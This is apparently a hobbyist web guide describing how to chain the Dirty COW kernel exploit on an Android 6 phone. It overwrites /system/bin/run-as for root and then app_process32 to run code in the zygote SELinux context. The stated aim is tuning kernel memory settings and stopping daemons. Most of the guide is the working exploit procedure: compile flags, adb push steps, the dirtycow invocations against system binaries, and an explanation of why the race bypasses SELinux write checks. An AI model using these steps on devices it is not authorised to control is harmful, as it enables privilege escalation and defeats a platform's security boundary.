guide #036

Dirty COW SELinux Bypass (zygote context)

Problem
SELinux blocks ALL writes to /data/system/ even with root uid=0 in shell context.

Solution
Cross-compile 2232-byte ARM binary, embed COW race, overwrite app_process32 to run as zygote. COW race bypasses SELinux write checks.

Context

Dirty COW (Hack #34) gives uid=0 root, but the SELinux context remains u:r:shell:s0. On Android 6, the shell domain cannot write to /proc/sys/ (kernel tuning), /data/system/ (package state), or /sys/ (lowmemorykiller parameters). Even with root uid, SELinux blocks the operations.

The key insight is that the COW race condition writes to files via madvise(MADV_DONTNEED) + /proc/self/mem, which bypasses the normal write() syscall. SELinux hooks into write() but not into the page cache manipulation that Dirty COW exploits. By overwriting app_process32 (which runs as u:r:zygote:s0), we can execute arbitrary code in the zygote SELinux context, which has permissions to write kernel parameters and control services.

Implementation

Two-phase approach: first overwrite run-as for root, then overwrite app_process32 for zygote context.

The payload binary is cross-compiled on Windows with NDK:

# Cross-compile the 2232-byte ARM payload (Windows NDK)
$CC -nostdlib -static -Os -fno-stack-protector -o fix-zygote2 fix-zygote2.c
# Result: 2232 bytes, ELF 32-bit ARM static binary

# Push to phone:
adb push fix-zygote2 /data/local/tmp/
adb push dirtycow /data/local/tmp/
adb push run-as-payload /data/local/tmp/

Execute the two-phase exploit from ADB shell:

# Phase 1: Get root via run-as overwrite
./dirtycow run-as-payload /system/bin/run-as
# "patch successful, iterations 1"

# Phase 2: Overwrite app_process32 with zygote payload
./dirtycow fix-zygote2 /system/bin/app_process32
# Wait ~10s for init to restart zygote with our payload

# The payload runs as zygote (u:r:zygote:s0) and can:
# - Write to /proc/sys/vm/* (kernel tuning)
# - ctl.stop daemons via property_set
# - Modify lowmemorykiller parameters

# Sync and reboot to restore app_process32 from disk
echo 'sync; sync; sync' | /system/bin/run-as
reboot

Verification

# After reboot, verify kernel parameters were applied:
adb shell cat /proc/sys/vm/vfs_cache_pressure
# Expected: 500 (set by payload)

adb shell cat /proc/sys/vm/min_free_kbytes
# Expected: 2048 (set by payload)

# Verify daemons are stopped:
adb shell getprop | grep -E "drmserver|qcamerasvr|audiod"
# Expected: ctl.stop properties set

Gotchas

  • The app_process32 overwrite is in page cache only — reboot restores the original from disk. This is both a safety feature and a limitation (must re-run after every reboot)
  • The zygote restart takes ~10 seconds. During this time, ALL apps are killed and restarted (zygote is the parent of all Android apps)
  • The payload must be exactly the same size as app_process32 (or smaller, padded with NOPs). Larger payloads corrupt the binary
  • -nostdlib -static is required because the payload runs before the linker is available
  • If the payload crashes, zygote enters a restart loop. init will restart it with the original binary after ~30 seconds

Result

MetricBeforeAfter
SELinux bypassShell context onlyZygote context
Kernel tuningBlockedvfs_cache_pressure, min_free_kbytes
Daemon controlCannot ctl.stop6 daemons stopped
Available RAM~350 MB~450 MB
Continue reading
guide
Pocket AI complete guide
Running self-hosted AI on portable hardware
guide
Edge AI hardware buyer's guide 2026
Pi 5 vs Mini PC vs Mac Mini
report
Self-hosted AI landscape 2026
Quarterly state of the ecosystem
section
Pocket AI hardware hub
All portable hosts reviewed
section
Agent tracker
Live stats on every agent
newsletter
Thursday digest
Weekly summary in your inbox